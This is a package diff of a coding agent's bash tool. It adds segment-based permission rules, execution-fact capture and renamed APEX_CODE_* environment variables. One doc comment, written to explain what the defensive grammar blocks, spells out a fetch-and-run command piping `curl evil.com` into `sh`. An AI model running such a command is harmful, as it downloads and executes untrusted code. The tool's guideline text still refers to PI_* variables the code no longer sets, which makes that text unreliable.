shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t};\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\ntype BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatBashCall(args: { command?: string; timeout?: number } | undefined): string {\n\tconst command = str(args?.command);\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`$ ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\treturn {\n\t\tname: \"bash\",\n\t\tlabel: \"bash\",\n\t\tdescription: `Execute a bash command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\t\tpromptGuidelines: exposeSessionEnvironment ? [...bashToolSystemPromptContribution.guidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\treturn execution\n\t\t\t\t\t\t? [{ kind: \"command\", command: params.command, ...execution }]\n\t\t\t\t\t\t: [{ kind: \"command\", command: params.command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ command, timeout }: { command: string; timeout?: number },\n\t\t\tsignal?: AbortSignal,\n\t\t\tonUpdate?,\n\t\t\tctx?,\n\t\t) {\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: \"apex-code-bash\" });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatBashCall(args));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
|
package/dist/core/tools/bash.js
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import { constants } from "node:fs";
|
|
2
2
|
import { access as fsAccess } from "node:fs/promises";
|
|
3
3
|
import { Container, Text, truncateToWidth } from "@earendil-works/pi-tui";
|
|
4
|
+
import { ToolExecutionError } from "apex-code-agent-core";
|
|
4
5
|
import { spawn } from "child_process";
|
|
5
6
|
import { Type } from "typebox";
|
|
6
7
|
import { keyHint } from "../../modes/interactive/components/keybinding-hints.js";
|
|
@@ -8,6 +9,8 @@ import { truncateToVisualLines } from "../../modes/interactive/components/visual
|
|
|
8
9
|
import { theme } from "../../modes/interactive/theme/theme.js";
|
|
9
10
|
import { waitForChildProcess } from "../../utils/child-process.js";
|
|
10
11
|
import { getShellConfig, getShellEnv, killProcessTree, trackDetachedChildPid, untrackDetachedChildPid, } from "../../utils/shell.js";
|
|
12
|
+
import { setApexEnvironment } from "../environment.js";
|
|
13
|
+
import { classifyBashCommand } from "./bash-command-segments.js";
|
|
11
14
|
import { OutputAccumulator } from "./output-accumulator.js";
|
|
12
15
|
import { getTextOutput, invalidArgText, str } from "./render-utils.js";
|
|
13
16
|
import { wrapToolDefinition } from "./tool-definition-wrapper.js";
|
|
@@ -34,6 +37,59 @@ export const bashToolSystemPromptContribution = {
|
|
|
34
37
|
snippet: "Execute bash commands (ls, grep, find, etc.)",
|
|
35
38
|
guidelines: ["You can inspect PI_* environment variables for current model and session details."],
|
|
36
39
|
};
|
|
40
|
+
function normalizeSegment(text) {
|
|
41
|
+
return text.trim().replace(/\s+/g, " ");
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* A rule matches a segment either by exact text, or — when it ends with the `:*`
|
|
45
|
+
* suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the
|
|
46
|
+
* prefix or start with the prefix followed by a space. `git commit:*` therefore
|
|
47
|
+
* matches `git commit` and `git commit -m x`, but not `git commitment` (word
|
|
48
|
+
* boundary enforced) and not an unrelated segment in the same chained command.
|
|
49
|
+
*/
|
|
50
|
+
function segmentMatchesRule(segment, ruleContent) {
|
|
51
|
+
const normalizedSegment = normalizeSegment(segment);
|
|
52
|
+
const normalizedRule = normalizeSegment(ruleContent);
|
|
53
|
+
if (normalizedRule.endsWith(":*")) {
|
|
54
|
+
const prefix = normalizedRule.slice(0, -2).trim();
|
|
55
|
+
if (!prefix)
|
|
56
|
+
return false;
|
|
57
|
+
return normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);
|
|
58
|
+
}
|
|
59
|
+
return normalizedSegment === normalizedRule;
|
|
60
|
+
}
|
|
61
|
+
/**
|
|
62
|
+
* bash's permission grammar (ADR 0004). A rule authorizes a call only if the
|
|
63
|
+
* command decomposes cleanly into segments (never on "unparseable") and **every**
|
|
64
|
+
* segment matches — a narrow rule like `git commit:*` can never authorize
|
|
65
|
+
* `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are
|
|
66
|
+
* separate segments that do not match it.
|
|
67
|
+
*
|
|
68
|
+
* `ruleForCall` only generalizes a single-segment command: a multi-segment chain
|
|
69
|
+
* has no single non-trivial rule that captures exactly what it did, and returning
|
|
70
|
+
* one would either over-authorize (if loose) or be indistinguishable from an exact
|
|
71
|
+
* match (if not) — `null` correctly forces `ask` for "always allow this" on a chain.
|
|
72
|
+
*/
|
|
73
|
+
export function createBashPermissionSpec() {
|
|
74
|
+
return {
|
|
75
|
+
defaultBehavior: "ask",
|
|
76
|
+
matches(ruleContent, params) {
|
|
77
|
+
const classification = classifyBashCommand(params.command);
|
|
78
|
+
if (classification.type !== "segments")
|
|
79
|
+
return false;
|
|
80
|
+
return classification.segments.every((segment) => segmentMatchesRule(segment, ruleContent));
|
|
81
|
+
},
|
|
82
|
+
describe(ruleContent) {
|
|
83
|
+
return `Run bash commands matching "${ruleContent}"`;
|
|
84
|
+
},
|
|
85
|
+
ruleForCall(params) {
|
|
86
|
+
const classification = classifyBashCommand(params.command);
|
|
87
|
+
if (classification.type !== "segments" || classification.segments.length !== 1)
|
|
88
|
+
return null;
|
|
89
|
+
return normalizeSegment(classification.segments[0]);
|
|
90
|
+
},
|
|
91
|
+
};
|
|
92
|
+
}
|
|
37
93
|
/**
|
|
38
94
|
* Create bash operations using pi's built-in local shell execution backend.
|
|
39
95
|
*
|
|
@@ -102,7 +158,11 @@ export function createLocalBashOperations(options) {
|
|
|
102
158
|
if (timedOut) {
|
|
103
159
|
throw new Error(`timeout:${timeout}`);
|
|
104
160
|
}
|
|
105
|
-
return {
|
|
161
|
+
return {
|
|
162
|
+
exitCode,
|
|
163
|
+
executable: shellConfig.shell,
|
|
164
|
+
argv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],
|
|
165
|
+
};
|
|
106
166
|
}
|
|
107
167
|
finally {
|
|
108
168
|
if (child.pid)
|
|
@@ -117,23 +177,23 @@ export function createLocalBashOperations(options) {
|
|
|
117
177
|
}
|
|
118
178
|
function resolveSpawnContext(command, cwd, spawnHook, exposeSessionEnvironment, ctx) {
|
|
119
179
|
const env = { ...getShellEnv() };
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
180
|
+
setApexEnvironment("APEX_CODE_SESSION_ID", undefined, env);
|
|
181
|
+
setApexEnvironment("APEX_CODE_SESSION_FILE", undefined, env);
|
|
182
|
+
setApexEnvironment("APEX_CODE_PROVIDER", undefined, env);
|
|
183
|
+
setApexEnvironment("APEX_CODE_MODEL", undefined, env);
|
|
184
|
+
setApexEnvironment("APEX_CODE_REASONING_LEVEL", undefined, env);
|
|
125
185
|
if (exposeSessionEnvironment && ctx) {
|
|
126
186
|
const model = ctx.model;
|
|
127
|
-
|
|
187
|
+
setApexEnvironment("APEX_CODE_SESSION_ID", ctx.sessionManager.getSessionId(), env);
|
|
128
188
|
const sessionFile = ctx.sessionManager.getSessionFile();
|
|
129
189
|
if (sessionFile)
|
|
130
|
-
|
|
190
|
+
setApexEnvironment("APEX_CODE_SESSION_FILE", sessionFile, env);
|
|
131
191
|
if (model) {
|
|
132
|
-
|
|
133
|
-
|
|
192
|
+
setApexEnvironment("APEX_CODE_PROVIDER", model.provider, env);
|
|
193
|
+
setApexEnvironment("APEX_CODE_MODEL", model.id, env);
|
|
134
194
|
}
|
|
135
195
|
if (ctx.thinkingLevel)
|
|
136
|
-
|
|
196
|
+
setApexEnvironment("APEX_CODE_REASONING_LEVEL", ctx.thinkingLevel, env);
|
|
137
197
|
}
|
|
138
198
|
const baseContext = { command, cwd, env };
|
|
139
199
|
return spawnHook ? spawnHook(baseContext) : baseContext;
|
|
@@ -234,10 +294,24 @@ export function createBashToolDefinition(cwd, options) {
|
|
|
234
294
|
promptSnippet: bashToolSystemPromptContribution.snippet,
|
|
235
295
|
promptGuidelines: exposeSessionEnvironment ? [...bashToolSystemPromptContribution.guidelines] : undefined,
|
|
236
296
|
parameters: bashSchema,
|
|
297
|
+
contract: {
|
|
298
|
+
capabilities: new Set(["exec"]),
|
|
299
|
+
permission: createBashPermissionSpec(),
|
|
300
|
+
context: { resultRecoverable: false, deferSchema: false },
|
|
301
|
+
evidence: {
|
|
302
|
+
emits: new Set(["command"]),
|
|
303
|
+
capture: (params, result) => {
|
|
304
|
+
const execution = result.details?.execution;
|
|
305
|
+
return execution
|
|
306
|
+
? [{ kind: "command", command: params.command, ...execution }]
|
|
307
|
+
: [{ kind: "command", command: params.command }];
|
|
308
|
+
},
|
|
309
|
+
},
|
|
310
|
+
},
|
|
237
311
|
async execute(_toolCallId, { command, timeout }, signal, onUpdate, ctx) {
|
|
238
312
|
const resolvedCommand = commandPrefix ? `${commandPrefix}\n${command}` : command;
|
|
239
313
|
const spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);
|
|
240
|
-
const output = new OutputAccumulator({ tempFilePrefix: "
|
|
314
|
+
const output = new OutputAccumulator({ tempFilePrefix: "apex-code-bash" });
|
|
241
315
|
let acceptingOutput = true;
|
|
242
316
|
let updateTimer;
|
|
243
317
|
let updateDirty = false;
|
|
@@ -319,6 +393,7 @@ export function createBashToolDefinition(cwd, options) {
|
|
|
319
393
|
const appendStatus = (text, status) => `${text ? `${text}\n\n` : ""}${status}`;
|
|
320
394
|
try {
|
|
321
395
|
let exitCode;
|
|
396
|
+
let execution;
|
|
322
397
|
try {
|
|
323
398
|
const result = await ops.exec(spawnContext.command, spawnContext.cwd, {
|
|
324
399
|
onData: handleData,
|
|
@@ -327,25 +402,39 @@ export function createBashToolDefinition(cwd, options) {
|
|
|
327
402
|
env: spawnContext.env,
|
|
328
403
|
});
|
|
329
404
|
exitCode = result.exitCode;
|
|
405
|
+
execution = {
|
|
406
|
+
cwd: spawnContext.cwd,
|
|
407
|
+
executable: result.executable,
|
|
408
|
+
argv: result.argv,
|
|
409
|
+
exitCode,
|
|
410
|
+
};
|
|
330
411
|
}
|
|
331
412
|
catch (err) {
|
|
332
413
|
const snapshot = await finishOutput();
|
|
333
414
|
const { text } = formatOutput(snapshot, "");
|
|
415
|
+
const interruptedExecution = { cwd: spawnContext.cwd, exitCode: null };
|
|
334
416
|
if (err instanceof Error && err.message === "aborted") {
|
|
335
|
-
throw new
|
|
417
|
+
throw new ToolExecutionError(appendStatus(text, "Command aborted"), {
|
|
418
|
+
execution: interruptedExecution,
|
|
419
|
+
});
|
|
336
420
|
}
|
|
337
421
|
if (err instanceof Error && err.message.startsWith("timeout:")) {
|
|
338
422
|
const timeoutSecs = err.message.split(":")[1];
|
|
339
|
-
throw new
|
|
423
|
+
throw new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {
|
|
424
|
+
execution: interruptedExecution,
|
|
425
|
+
});
|
|
340
426
|
}
|
|
341
427
|
throw err;
|
|
342
428
|
}
|
|
343
429
|
const snapshot = await finishOutput();
|
|
344
430
|
const { text: outputText, details } = formatOutput(snapshot);
|
|
431
|
+
const resultDetails = { ...details, execution };
|
|
345
432
|
if (exitCode !== 0 && exitCode !== null) {
|
|
346
|
-
throw new
|
|
433
|
+
throw new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {
|
|
434
|
+
execution,
|
|
435
|
+
});
|
|
347
436
|
}
|
|
348
|
-
return { content: [{ type: "text", text: outputText }], details };
|
|
437
|
+
return { content: [{ type: "text", text: outputText }], details: resultDetails };
|
|
349
438
|
}
|
|
350
439
|
finally {
|
|
351
440
|
clearUpdateTimer();
|